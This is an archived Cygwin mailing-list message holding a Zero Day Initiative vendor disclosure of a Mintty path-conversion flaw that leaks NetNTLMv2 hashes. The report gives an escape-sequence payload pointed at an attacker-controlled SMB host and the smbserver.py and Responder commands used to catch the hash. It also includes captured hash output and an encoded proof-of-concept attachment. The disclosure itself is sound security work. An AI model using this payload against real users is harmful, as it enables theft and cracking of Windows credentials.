Mail Archives: cygwin/2024/08/16/10:27:45

zdi-disclosures--- via Cygwin <cygwin AT cygwin DOT com> · Fri, 16 Aug 2024 14:25:40 +0000

--_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

The attachment could not be scanned for viruses because it is a password =
protected file.
ZDI-CAN-24744: Mintty Path Conversion Improper Input Validation Informati=
on Disclosure Vulnerability

-- CVSS -----------------------------------------

5.3: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affectin=
g the following products:
Mintty - Mintty

-- VULNERABILITY DETAILS ------------------------
* Version tested:3.7.1 (Git-2.45.2-64-bit.exe)
* Installer file:Git-2.45.2-64-bit.exe
* Platform tested:win11 23h2 [Version 10.0.22631.3593]

---

### Analysis

```
Several escape sequences can cause the mintty process to access a file in=
 a specific path,
It is triggered by simply printing them out on bash, eg. \x1b]7773;//0.0.=
0.0/test\007
An attacker can specify an arbitrary network path, negotiate an ntlm hash=
 out of the victim's machine to an attacker controlled remote host.
NetNTLMv2 hashes can be used to Pass the Hash, or password cracking using=
 tools like hashcat or johntheripper.

It's caused by an api provided by msys2.
The api is used to convert between posix and windows paths, but it also c=
hecks for symbolic links, which is enough to trigger the vulnerability.
The same code is forked from cygwin, so it could also be theoretically vu=
lnerable,

In the exploit, It used the escape code for setting the terminal icon OSC=
 7773,
but it can be done with other escape codes as well.
For example, there's an escape code for indicating the cwd of the shell,
which can lead to mintty `stat`ing the directory, which is sufficient for=
 exploitation.
```

The following cover most of the escape codes that could be exploited:
```
- OSC I / OSC 7773
- OSC 440
- OSC 11
- OSC 7
- OSC 8
```

The call stack is roughly the following:
```
mintty:
src/winmain.c:308 - guardpath
src/charset.c:1104 - path_posix_to_win_w
msys2:
cygwin_create_path (depends on mintty's compilation flags, but it calls c=
ygwin_conv_path regardless)
winsup/cygwin/path.cc:3909 - cygwin_conv_path
winsup/cygwin/path.cc:660 - path_conv::check
```

`path_conv::check` calls several windows apis that cause a connection to =
a remote path to be initiated.

Here is the reproduce steps.

Setup an attacker vm (Linux based) and a victim vm (windows).

Modify the payload for the appropriate ip address (attacker vm's ip):

```
\x1b]7773;//0.0.0.0/test\007
```

On the Attacker's machine run either [impacket](https://github.com/fortra=
/impacket)'s smbserver.py or [Responder](https://github.com/lgandx/Respon=
der) with smb server enabled:

```
sudo smbserver.py -ts -smb2support test .
```

```
sudo ./Responder.py -I enp1s0 -v
```

Replace `enp1s0` with the proper interface.

Make sure that other smb services aren't running:

```
systemctl status smbd.service
systemctl status nmbd.service
```

Print the adjusted payload from the beginning in mintty (git-bash.exe).

The victim's hash should be printed by impacket or Responder.

Here is the output from responder
```
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:38cf5ca194861c7c:05F329D=
7F39AEFE3C744671936ABC00E:010100000000000000D29167A9CCDA0195D8F1578A8B58C=
30000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:331cb34ad722601a:F71C80E=
E1309C62CA4FF8E254A7AC1AE:010100000000000000D29167A9CCDA0142C3153183B2266=
00000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:b5bc3a6e83c4d7d7:40218E6=
2EF8DCA0023C166B568781059:010100000000000000D29167A9CCDA01797E79F388A237B=
30000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:ae5464fd841bcab6:F76567E=
68408F2B04E41B869711E76F8:010100000000000000D29167A9CCDA01E0A7FFF1FF381FA=
60000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:3bd0a49004b53416:F21B104=
294C18C82464FEDDC572E6231:010100000000000000D29167A9CCDA01BAAEF54AF54B725=
60000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:c089b70c3accfaf7:E6B708A=
8DA76027A16E76F79F5F24333:010100000000000000D29167A9CCDA01433CAD8EC5BCC31=
A0000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:daa3eae276eaef28:AE4059F=
544451A21F5779DFB3192D9DA:010100000000000000D29167A9CCDA0110F73C1AE7035F2=
B0000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:56c7b5b6c66d156a:9666582=
4D373D99E5F043EFE7724BCF1:010100000000000000D29167A9CCDA012F33E5442DE0DDD=
40000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:44db8723d9666e80:2DAC87B=
C05CCECEB4BC8BFD8A9ED2317:010100000000000000D29167A9CCDA014DFB08158928127=
20000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:4f6f6e6df73e1d2c:884C66B=
57E2711811EE502E0796E8138:010100000000000000D29167A9CCDA0148213EEACAF1B72=
00000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:f1f9c2482522cd95:A0790CF=
B87DD01F4E10F57F94D487109:010100000000000000D29167A9CCDA01F1D6F8F58822136=
40000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:0a070bdf7688033f:C4B1F0D=
2CF4B23B7475AAB780FBCB685:010100000000000000D29167A9CCDA01C53624960CE78E1=
20000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:e8f874be1a16042c:255BDD0=
64E5A8C080FC3E0438A1D3502:010100000000000000D29167A9CCDA01F2A0B31CD1B4EB1=
90000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:b7e3a6f69f1ba3dc:4FBC3B5=
E8781619637C21E21575EB522:010100000000000000D29167A9CCDA0161610316FA9D3D4=
E0000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
[SMB] NTLMv2-SSP Client   : 172.16.16.237
[SMB] NTLMv2-SSP Username : DESKTOP-QAVUII5\zdi
[SMB] NTLMv2-SSP Hash     : zdi::DESKTOP-QAVUII5:9bceb9d050c9b28f:1618EE6=
9D7DEA633EBD38C27ACC89190:010100000000000000D29167A9CCDA01D3E44752D8FA554=
B0000000002000800310030003500320001001E00570049004E002D00340038005A005300=
520036004900570034004300540004003400570049004E002D00340038005A00530052003=
600490057003400430054002E0031003000350032002E004C004F00430041004C00030014=
0031003000350032002E004C004F00430041004C000500140031003000350032002E004C0=
04F00430041004C000700080000D29167A9CCDA0106000400020000000800300030000000=
0000000001000000002000002E8C50779CF8723DE89AF83DA6BB6949A5588475E1B4A4B6C=
090C8408C5EE7EF0A00100000000000000000000000000000000000090024006300690066=
0073002F003100370032002E00310036002E00310036002E0032003000340000000000000=
00000
```

procmon log
```
Date:   7/8/2024 2:07:57.3678237 PM
Thread: 4844
Class:  File System
Operation:      CreateFile
Result: ACCESS DENIED
Path:   \\[attacker IP]\test007\
Duration:       0.0112557
Desired Access: Read EA, Read Attributes, Read Control
Disposition:    Open
Options:        Open Reparse Point
Attributes:     n/a
ShareMode:      Read, Write, Delete
AllocationSize: n/a

Description:
Company:
Name:   bash.exe
Version:
Path:   C:\Program Files\Git\usr\bin\bash.exe
Command Line:   "C:\Program Files\Git\usr\bin\bash.exe" --login -i
PID:    6172
Parent PID:     1844
Session ID:     1
User:   DESKTOP-QAVUII5\wmliang
Auth ID:        00000000:0015a222
Architecture:   64-bit
Virtualized:    False
Integrity:      Medium
Started:        7/8/2024 2:07:57 PM
Ended:  7/8/2024 2:07:57 PM
Modules:
bash.exe        0x100400000     0x245000        C:\Program Files\Git\usr\=
bin\bash.exe                   1/14/2024 5:25:36 AM
msys-2.0.dll    0x210040000     0x1227000       C:\Program Files\Git\usr\=
bin\msys-2.0.dll       Red Hat 3.4.10-87d5722901e1172a57aa4d4e3db84fbafe7=
0d19b 2/14/2024 4:11:38 PM

0       FLTMGR.SYS      FltGetStreamContext + 0x20cb    0xfffff8045abe961=
b      C:\Windows\System32\drivers\FLTMGR.SYS
1       FLTMGR.SYS      FltGetStreamContext + 0x1b51    0xfffff8045abe90a=
1      C:\Windows\System32\drivers\FLTMGR.SYS
2       FLTMGR.SYS      FltRequestFileInfoOnCreateCompletion + 0x4ef    0=
xfffff8045ac21f6f      C:\Windows\System32\drivers\FLTMGR.SYS
3       ntoskrnl.exe    IofCallDriver + 0x55    0xfffff80455c29b45      C=
:\Windows\system32\ntoskrnl.exe
4       ntoskrnl.exe    ProbeForWrite + 0x40fe  0xfffff8045619c8be      C=
:\Windows\system32\ntoskrnl.exe
5       ntoskrnl.exe    ObOpenObjectByNameEx + 0x1844   0xfffff804560cc9e=
4      C:\Windows\system32\ntoskrnl.exe
6       ntoskrnl.exe    ObOpenObjectByNameEx + 0x1f2    0xfffff804560cb39=
2      C:\Windows\system32\ntoskrnl.exe
7       ntoskrnl.exe    NtCreateFile + 0x4c1    0xfffff80456194311      C=
:\Windows\system32\ntoskrnl.exe
8       ntoskrnl.exe    NtCreateFile + 0x79     0xfffff80456193ec9      C=
:\Windows\system32\ntoskrnl.exe
9       ntoskrnl.exe    setjmpex + 0x9045       0xfffff80455e2d505      C=
:\Windows\system32\ntoskrnl.exe
10      ntdll.dll       NtCreateFile + 0x14     0x7ffb3fdf03f4  C:\Window=
s\System32\ntdll.dll
11      msys-2.0.dll    setpassent + 0x2ff3     0x2100929c3     C:\Progra=
m Files\Git\usr\bin\msys-2.0.dll
12      msys-2.0.dll    cygwin_split_path + 0x2c68      0x210096988     C=
:\Program Files\Git\usr\bin\msys-2.0.dll
13      msys-2.0.dll    sigfillset + 0x6935     0x2100c40a5     C:\Progra=
m Files\Git\usr\bin\msys-2.0.dll
14      msys-2.0.dll    sigfillset + 0x7f98     0x2100c5708     C:\Progra=
m Files\Git\usr\bin\msys-2.0.dll
15      msys-2.0.dll    sigfillset + 0x9f81     0x2100c76f1     C:\Progra=
m Files\Git\usr\bin\msys-2.0.dll
16      msys-2.0.dll    timegm + 0x4db  0x210193f2b     C:\Program Files\=
Git\usr\bin\msys-2.0.dll
17      <unknown>       0x110000000     0x110000000

```

-- CREDIT ---------------------------------------
This vulnerability was discovered by:
solid-snail working with Trend Micro Zero Day Initiative

-- FURTHER DETAILS ------------------------------

Supporting files:

If supporting files were contained with this report they are provided wit=
hin a password protected ZIP file. The password is the ZDI candidate numb=
er in the form: ZDI-CAN-XXXX where XXXX is the ID number.

Please confirm receipt of this report. We expect all vendors to remediate=
 ZDI vulnerabilities within 120 days of the reported date. If you are rea=
dy to release a patch at any point leading up to the deadline, please coo=
rdinate with us so that we may release our advisory detailing the issue. =
If the 120-day deadline is reached and no patch has been made available w=
e will release a limited public advisory with our own mitigations, so tha=
t the public can protect themselves in the absence of a patch. Please kee=
p us updated regarding the status of this issue and feel free to contact =
us at any time:

Zero Day Initiative
zdi-disclosures AT trendmicro DOT com

The PGP key used for all ZDI vendor communications is available from:

  http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc

-- INFORMATION ABOUT THE ZDI --------------------
Established by TippingPoint and acquired by Trend Micro, the Zero Day Ini=
tiative (ZDI) neither re-sells vulnerability details nor exploit code. In=
stead, upon notifying the affected product vendor, the ZDI provides its T=
rend Micro TippingPoint customers with zero day protection through its in=
trusion prevention technology. Explicit details regarding the specifics o=
f the vulnerability are not exposed to any parties until an official vend=
or patch is publicly available.

Please contact us for further details or refer to:

  http://www.zerodayinitiative.com

-- DISCLOSURE POLICY ----------------------------

Our vulnerability disclosure policy is available online at:

  http://www.zerodayinitiative.com/advisories/disclosure_policy/

TREND MICRO EMAIL NOTICE

The information contained in this email and any attachments is confidenti=
al and may be subject to copyright or other intellectual property protect=
ion. If you are not the intended recipient, you are not authorized to use=
 or disclose this information, and we request that you notify us by reply=
 mail or telephone and delete the original message from your mail system.

For details about what personal information we collect and why, please se=
e our Privacy Notice on our website at: Read privacy policy<http://www.tr=
endmicro.com/privacy>

--_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_
Content-Type: application/x-zip-compressed; name="ZDI-CAN-24744.zip"
Content-Description: ZDI-CAN-24744.zip
Content-Disposition: attachment; filename="ZDI-CAN-24744.zip"; size=1772;
	creation-date="Thu, 15 Aug 2024 18:23:51 GMT";
	modification-date="Fri, 16 Aug 2024 14:24:41 GMT"
Content-Transfer-Encoding: base64

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
BgAAAAA=

--_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

-- 
Problem reports:      https://cygwin.com/problems.html
FAQ:                  https://cygwin.com/faq/
Documentation:        https://cygwin.com/docs.html
Unsubscribe info:     https://cygwin.com/ml/#unsubscribe-simple

--_002_DM5PR0102MB34771F931BA1B90A126291DE80812DM5PR0102MB3477_--

DKIM-Filter:	OpenDKIM Filter v2.11.0 delorie.com 47GERiW1781321
Authentication-Results:	delorie.com;
	dkim=pass (1024-bit key, unprotected) header.d=cygwin.com header.i=@cygwin.com header.a=rsa-sha256 header.s=default header.b=xP5NcaHn
X-Recipient:	archive-cygwin AT delorie DOT com
DKIM-Filter:	OpenDKIM Filter v2.11.0 sourceware.org 817AB385DDEF
DKIM-Signature:	v=1; a=rsa-sha256; c=relaxed/relaxed; d=cygwin.com;
	s=default; t=1723818462;
	bh=//x0257wUulzhTtNcwks4ElyRvj8WeZVtD0WFGD61ek=;
	h=To:Subject:Date:List-Id:List-Unsubscribe:List-Archive:List-Post:
	List-Help:List-Subscribe:From:Reply-To:From;
	b=xP5NcaHnQf1iU4qlR2y/wDWkWl1iQrqhTrpslZkdcL4mgjCzTiA3xQNy9V/9mU+8h
	1hw+tBIKnsA2EuwjMV3MHjVJSIrpB5NJ3sI01M2UWGsx6dqrwgEB2kivai+CNMvbXa
	P+Ruau5R8tAOlleykWINYqxqcJJkU4yHJkwyfJqY=
X-Original-To:	cygwin AT cygwin DOT com
Delivered-To:	cygwin AT cygwin DOT com
DMARC-Filter:	OpenDMARC Filter v1.4.2 sourceware.org B906D385C6D2
ARC-Filter:	OpenARC Filter v1.0.0 sourceware.org B906D385C6D2
ARC-Seal:	i=2; a=rsa-sha256; d=sourceware.org; s=key; t=1723818395; cv=fail;
	b=CuojeOII0eUTNx5eOWP90hPxuZqf6JrJ4XJyKkjOW5i5YOA8Q4X3/0NqXhqzDbWeRh6nvQJRoAciozvODaZMIBJ3GmpO1o6L3evuQFB9bYPOwJYzsltJPVFnTZDjuO963M7jStGsCAJVNXoneBn06/CcZppfEVkSSaAkLa0rDzY=
ARC-Message-Signature:	i=2; a=rsa-sha256; d=sourceware.org; s=key;
	t=1723818395; c=relaxed/simple;
	bh=AU8zM1ntd+bTAd0S/xntnQORwSBLZ3moCuca5LFQUwQ=;
	h=From:To:Subject:Date:Message-ID:MIME-Version:DKIM-Signature;
	b=odv8dTlNJFjxek9h4OZAqyCoiuNe9H31a9b1tOKWlk9QumUAUTdze+HSbthoUosL91BXSI4V7xylhbgoWi+LYlmlubRnpc84nT0FbYgrn3S7Gi9355+itN4djRqWjqr8Hhhyotpb5jfyFGZfFdloQ0/TRg3MTe5hEeVUmjCOLBo=
ARC-Authentication-Results:	i=2; server2.sourceware.org
X-TM-AS-ERS:	10.36.230.33-127.5.254.253
X-TM-AS-SMTP:	1.0 TVVDMS1FWENIMDIuZXUudHJlbmRuZXQub3Jn emRpLWRpc2Nsb3N1cmVzQ
	HRyZW5kbWljcm8uY29t
X-DDEI-TLS-USAGE:	Used
To:	"cygwin AT cygwin DOT com" <cygwin AT cygwin DOT com>
Subject:	ZDI-CAN-24744: Mintty Path Conversion Improper Input Validation
	Information Disclosure Vulnerability
Thread-Topic:	ZDI-CAN-24744: Mintty Path Conversion Improper Input Validation
	Information Disclosure Vulnerability
Thread-Index:	Adrv55dLks+V0uQ6S0WGkjCupN78zg==
Date:	Fri, 16 Aug 2024 14:25:40 +0000
Deferred-Delivery:	Fri, 16 Aug 2024 14:22:52 +0000
Message-ID:	<DM5PR0102MB34771F931BA1B90A126291DE80812@DM5PR0102MB3477.prod.exchangelabs.com>
